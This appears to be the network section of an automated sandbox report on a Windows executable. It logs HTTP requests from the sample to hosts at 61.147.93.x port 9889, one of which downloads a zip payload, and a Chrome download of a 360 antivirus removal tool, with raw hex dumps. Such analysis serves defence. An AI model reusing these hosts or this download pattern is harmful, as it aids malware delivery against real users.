65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49718	61.147.93.189	9889	3856	C:\Users\user\Desktop\ [ ].exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:46:12.328253031 CEST	305	OUT	GET /shield.html?9319659 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://61.147.93.189:9889/shield.html?9319659 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 61.147.93.189:9889
Oct 18, 2024 23:46:13.297866106 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Fri, 11 Oct 2024 08:20:52 GMT Accept-Ranges: bytes ETag: "f9a0a27cb61bdb1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 18 Oct 2024 21:46:05 GMT Content-Length: 1434 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	61.147.93.70	9889	3856	C:\Users\user\Desktop\ [ ].exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:46:12.328474998 CEST	303	OUT	GET /shield.html?9387302 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://61.147.93.70:9889/shield.html?9387302 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 61.147.93.70:9889
Oct 18, 2024 23:46:13.301561117 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Fri, 11 Oct 2024 08:21:04 GMT Accept-Ranges: bytes ETag: "161ce783b61bdb1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 18 Oct 2024 21:46:23 GMT Content-Length: 1434 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49720	61.147.93.116	9889	3856	C:\Users\user\Desktop\ [ ].exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:46:13.413703918 CEST	255	OUT	GET /shield/ougsdp1og.zip?2020644 HTTP/1.1 Accept: / Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322) Host: 61.147.93.116:9889 Cache-Control: no-cache
Oct 18, 2024 23:46:14.461740017 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/x-zip-compressed Last-Modified: Fri, 11 Oct 2024 08:21:04 GMT Accept-Ranges: bytes ETag: "aaf2be83b61bdb1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Fri, 18 Oct 2024 21:46:18 GMT Content-Length: 2056192 Data Raw: fc 8d 8f e6 eb 3b 3a 8d e3 5d dd 59 76 b0 6b 30 72 94 18 0a b3 46 18 2f 6a e7 9e a4 63 d7 9e bb 6a 6e 05 59 b8 51 ab 4b 82 91 a6 8a 15 f9 e6 e7 24 93 b6 e6 ec d1 37 4f bf 1d 36 13 1e 33 ab 02 cc 54 b5 4a 1c 91 a1 92 2b c3 d3 78 2b b2 46 e3 1f 5f c1 7b ae 22 c3 d3 5c a9 81 60 15 4e fa aa d8 e5 55 e8 c5 f8 67 59 2b fd d9 b3 df 21 dc b9 24 5a b3 d7 b1 9a e4 e6 97 f1 33 b3 bb 13 6f 40 f2 14 c1 79 fa 78 48 cf 35 0f e6 b6 97 c8 80 25 0f 8a 69 1d 50 6b 8a 0f d5 a6 0b 4c 9a ee f6 20 16 5b f5 4f b7 de 51 80 4e 38 a8 8c 39 fc b9 22 8c df 0f f0 7c 0d 35 3c a1 74 66 04 fb e7 81 27 11 9c 06 3e a4 d1 22 ce c6 6c 60 e2 70 2b 9b bb eb 43 27 24 df c5 c7 c8 04 58 71 9b 7e 03 22 8d 9c 2a 16 6c 86 de da 9b b5 7c 19 fe 4b 16 d9 3d bf 90 8a 79 a1 72 29 3c 28 60 9b 03 bd 17 f8 02 c8 f3 fc 93 8b 72 7a 66 8c a8 30 79 42 22 b8 6c d0 24 4b 05 2d fa 7d 21 a2 59 90 5c 1b ed 12 d9 35 80 6c 2e 21 0c b4 4b cb cc 32 15 d1 19 a5 2f d4 30 b6 1b 3b 11 6d c6 89 fe fe 8a a0 72 0c 28 04 90 f2 42 6d d3 bf e6 c2 6e 9f db f8 56 53 72 5d 76 [TRUNCATED] Data Ascii: ;:]Yvk0rF/jcjnYQK$7O63TJ+x+F_{"\`NUgY+!$Z3o@yxH5%iPkL [OQN89"\|5<tf'>"l`p+C'$Xq~"l\|K=yr)<(`rzf0yB"l$K-}!Y\5l.!K2/0;mr(BmnVSr]v^,@-@i0oQ7y{F^7ux^<zh_ENX{%O:Kou\yZU}/ORYQZt"ffxt(#b,V\|^V"6S]P^/G2Ja/\|4K]WY-O7 -<$oMBW4dfQ ?js3U,1FP Tw?N/{8X9hf }y{'/p:tZ4~{ikZx4_m53CKHnh8<hJH('N^d]u5M0F(aCH1.b]VG5$\|*uj~:sBsP7GGII?&AGII~wiA&jAGI\|kiki~whA&G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49795	104.192.108.20	80	6548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:46:30.712177038 CEST	460	OUT	GET /360c0mpkill5.1.64.1238-0809.zip HTTP/1.1 Host: dl.360safe.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 18, 2024 23:46:31.380374908 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:31 GMT Content-Type: application/zip Content-Length: 36849564 Connection: keep-alive Expires: Fri, 18 Oct 2024 21:56:31 GMT Last-Modified: Fri, 09 Aug 2019 11:12:34 GMT Cache-Control: s-maxage=600, max-age=600 KCS-Via: HIT from w-f04.lato;MISS from back-f04.dl.lato;REVALIDATED from w-subsrc02.lato K-Cache-status: MISS Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 08 00 08 00 47 8d 09 4f 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 33 36 30 63 6f 6d 70 6b 69 6c 6c 36 34 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 00 08 00 47 8d 09 4f 00 00 00 00 00 00 00 00 00 00 00 00 29 00 00 00 33 36 30 63 6f 6d 70 6b 69 6c 6c 36 34 2f 33 36 30 bc b1 be c8 cf e4 d4 cb d0 d0 b2 bb c1 cb c7 eb b5 e3 ce d2 2e 62 61 74 9d 53 b1 6a 1b 41 10 ed 0f ee 1f c6 0b 13 24 5b 8a 24 dc 04 c1 41 1a 57 49 1a eb 0b 2e b7 2b 6e f1 ad 4e b9 5d 81 ae f1 3f b9 50 a1 48 c2 21 09 48 89 1b 09 0b e3 da 2e 5c 18 55 c1 a4 08 18 cf de 9d 8d 12 64 05 dc cd 0c 6f de 9b 37 3b fb 56 04 61 0c 71 bb ed 3a 46 9a 48 78 b3 9b e1 9f 93 d1 8f 93 d9 ea cb 70 72 09 d3 db c1 f5 e8 f7 f2 e7 7c e5 3a ae 13 70 c0 63 de ad db 58 0b 03 2a ed f8 4a 78 45 cd 56 00 82 b8 d7 31 1e a5 ed 38 01 44 09 b2 03 a5 dd 56 af 2b 92 77 32 8a 44 f2 5a f4 45 19 78 0c 81 1f 45 d0 f4 39 b7 74 b2 4d bd 35 09 80 19 01 02 bc 6f b5 00 1a 54 2d 65 33 4e 6f cf bf 2d 86 67 77 b3 d5 f8 7e 72 [TRUNCATED] Data Ascii: PKGO360compkill64/PKPKGO)360compkill64/360.batSjA$[$AWI.+nN]?PH!H.\Udo7;Vaq:FHxpr\|:pcX*JxEV18DV+w2DZExE9tM5oT-e3No-gw~r~UL~_gNy;GiKSpAO07HIZrd&>5@Rig}#J,^Jr+3AY(E"mWj+27j>0\kZZ?i\|,id6-i"aHD&-6~BSN3h!@}O~}5uPK>fPKGO360compkill64/ave/PKPKGO360compkill64/ave/360ave.def}TSwb%DbEDQQQh@Db$bU{B$(F$Z.]HogQDz^9[]oXYww"]`CIU)]bm
Oct 18, 2024 23:46:31.380394936 CEST	1236	IN	Data Raw: 09 fb b2 fc f9 d5 4a 69 76 67 76 09 d2 5d 80 5e 72 7f 68 1c d2 16 e5 4a 69 5a 75 c7 99 40 5b cf 52 73 96 ce d4 b3 ee 43 3f db a9 7e dc 9c e9 7e 6e 52 df ef a3 c1 ef ab e5 48 fb e9 94 d2 2b 36 96 a4 cf aa d7 4a a9 b2 4a 45 7e cb b5 0a 7e cb 92 5d Data Ascii: Jivgv]^rhJiZu@[RsC?~~nRH+6JJE~~]R=}t$}C(o;nYBY_uVD#[)K6VYU>On]c[)T7<Y-[qr~3a',3kQ{7kZjx,=gJwgJq
Oct 18, 2024 23:46:31.380409956 CEST	1236	IN	Data Raw: af 54 6f 83 b4 2f af 0e cd 07 ba 46 c7 fa 08 6b ed 0f 6b dd 59 a4 1b 45 ef 7d 96 65 0f 4b dc 9b a1 6a 4e 96 a8 97 1e bf df dd 1a f7 e9 39 d9 a7 0e 20 9f 87 7e ae e3 d6 c0 b3 b5 6c dc a7 79 e6 76 35 55 37 56 9b 78 3c 38 ac 6a 29 c3 d3 6f d7 f3 74 Data Ascii: To/FkkYE}eKjN9 ~lyv5U7Vx<8j)otI]\|T:<`7ZY~2\|w{FW\|(Un/}zt\e lZ26VNlKf0 TlquI=N2>T.sToo+r
Oct 18, 2024 23:46:31.380419970 CEST	636	IN	Data Raw: 89 c5 d9 71 af 4a 91 5e 9a 29 b1 28 58 d0 e2 11 f9 7c b3 c4 e2 87 bf 0d fa 70 07 9e 0f 40 b9 59 da 73 f5 31 9c 5b f9 22 9c 5b 62 a3 16 51 3d fe 9c 5b d6 59 86 cf de 1e 9a 5c 87 cf fa 5d 13 14 50 73 cb dc c7 55 38 ae 1d e4 86 f3 61 ab b8 0a 8b ce Data Ascii: qJ^)(X\|p@Ys1["[bQ=[Y\]PsU8aVH.uV--.an%sK7apjn^#K,#<sq>O$wn/]C_mRfe?RL61iU(1<1;Ng6:oc'qM
Oct 18, 2024 23:46:31.380429983 CEST	1236	IN	Data Raw: 7c 95 c4 16 ef 94 d2 b4 fc 5f a7 90 de 03 fe 7e 99 aa ea 1f 82 e1 c0 e7 d9 39 df 48 2c c2 fa 82 f4 a7 d2 02 e0 d3 3c 88 3f 60 ad e7 c4 d0 6b dd d2 9d f8 ec 29 e0 fb 87 b1 4a 9f 22 8e c0 7a 00 74 aa ef 7b fc 7c 2f 27 80 2f 8e f1 4a 46 fa 88 27 7c Data Ascii: \|_~9H,<?`k)J"zt{\|/'/JF'\|[{A?n57XWJgo ivS1 qt~cb`'mK/bd!`ho:o1gd,<;o#~lazo_/,?m
Oct 18, 2024 23:46:31.380438089 CEST	212	IN	Data Raw: ee ea c4 95 f4 6d fc 31 12 e9 6a 11 57 b2 e9 f6 d9 29 48 4f 65 71 25 4b af c6 df cd 64 78 ca 2f 89 c6 e7 06 d9 f5 47 de c9 17 02 bd 6a e7 27 a4 59 66 e4 73 5b a4 b9 b6 a0 33 a3 ec 1a ab 80 a7 c6 8a 90 a7 dc cf eb 8d 3c 65 c4 6f 6c d5 76 33 9f 8d Data Ascii: m1jW)HOeq%Kdx/Gj'Yfs[3<eolv3.jXc,4:m;3;6D=]dL+I>nI2^eb}muU.yH_*}Ew~lY~h\|iP#kQ?t?tfvAlNR=8
Oct 18, 2024 23:46:31.380445004 CEST	1236	IN	Data Raw: 48 fb 3a 91 3e 2c c0 2a da 27 a2 9f 9e 75 98 d1 fd a3 16 d0 fa 66 af 53 1f 94 d7 bd ff 28 a5 29 7b 9d 14 48 07 56 91 cf 51 d7 ed df 3f 8c d0 ed 97 18 d7 9c af 67 37 a2 cf 57 d6 d5 3c 1d 8e 6b 2b aa 0f 72 6c f0 b0 43 fa 1f 8f 00 fe 88 68 5f 22 d3 Data Ascii: H:>,*'ufS(){HVQ?g7W<k+rlCh_"Sreci?u'1V0/O~acHrSi<CZN\|IK1zoG"Fa3WT\FXkI=>HG?OU^[ND90omjig]&GG4;k_W
Oct 18, 2024 23:46:31.380450964 CEST	1236	IN	Data Raw: 18 0a 97 9f d1 c5 1d c6 18 d0 29 c1 12 c7 cf 19 a6 85 f1 1f d9 e6 fc 01 db 9c b2 5d a1 ed f1 65 e7 28 32 b7 43 15 d0 26 15 f6 29 cc 00 39 eb 69 85 72 46 62 d5 b7 e7 18 ec 6e b1 38 a8 98 f1 bb f8 f7 35 d7 88 df 95 9f 35 86 ab 68 1d 60 b7 8a 60 f4 Data Ascii: )]e(2C&)9irFbn855h``uiMKrs}Z'ftJAECV{x[n:KUhyFv#}B^q78o/m)8mK-k@K@WJ^,+
Oct 18, 2024 23:46:31.380461931 CEST	424	IN	Data Raw: f4 19 5a 5f 6e 9d 33 c0 b0 f7 b6 2f 28 3b 7c 24 98 2b 79 5a 3b ad 06 e5 62 5e 32 e6 35 d8 f5 ec b4 0b e5 a2 9d 2d d8 0e 49 61 1b 29 8e 2b a3 5a 82 d8 f2 b9 ae a1 2f 89 3c 6d 06 99 91 88 a4 0b 49 1e c0 d8 2d 1c 68 b3 6a f9 ac 67 2f cc d7 74 a6 cf Data Ascii: Z_n3/(;\|$+yZ;b^25-Ia)+Z/<mI-hjg/tq9Ov1b;2G\|XKq8y;X:\FS?5jN@,A6`CElGZK$_rfB?7?P:_Q>{{gYll[
Oct 18, 2024 23:46:31.380561113 CEST	1236	IN	Data Raw: 6e 20 df 8b b6 d4 47 fa 1e c4 7e e9 d2 6c 12 67 a7 02 9d 79 e8 6a 7d 6f a3 de 03 5d b8 a5 b5 49 ef 89 2e af 6f 4a b0 e6 46 98 eb 55 d5 1c e9 45 83 d5 9c a5 93 d6 e3 f8 d7 cc dc 84 fb 59 ad 15 c1 1e aa 39 84 17 fe 71 a0 31 e8 f5 4e e4 6c ed 00 c4 Data Ascii: n G~lgyj}o]I.oJFUEY9q1NlV)/Ht`mH8(yh#ye\|EbC(w@YHannM;Cm`lk(IG&Gfer+aaeAru_Ysk^H{v*>vT
Oct 18, 2024 23:46:31.385337114 CEST	1236	IN	Data Raw: bb 78 51 3c 72 5a 60 c6 60 49 6a d1 52 66 fd 37 f5 2c 8b a5 62 23 d6 09 81 e1 73 83 0f c5 38 5e 56 0e c8 a2 f3 e3 3b 0b 49 6e ab 28 10 fc 3c c3 98 60 79 73 d2 f6 0a 63 a3 3e a9 f2 cb 1d 61 2e 97 60 2e 6c 6a 2e 33 22 0d 75 31 b1 f7 cc 5c f2 9f af Data Ascii: xQ<rZ``IjRf7,b#s8^V;In(<`ysc>a.`.lj.3"u1\$s~F\3kGLi9eQM-}7/Y+8J}~=sVnMk5@c1:pf;hs}g+>;L3gcl;`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49796	104.192.108.20	80	6548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 18, 2024 23:47:15.721525908 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:18 UTC	540	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 16 Oct 2024 23:23:28 GMT ETag: "0x8DCEE398ABC1464" x-ms-request-id: 9b525102-c01e-0066-798f-20a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214618Z-16b659b4499wvth4ttszf0h3n400000009h00000000068vp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:18 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-18 21:46:18 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-18 21:46:18 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-18 21:46:18 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
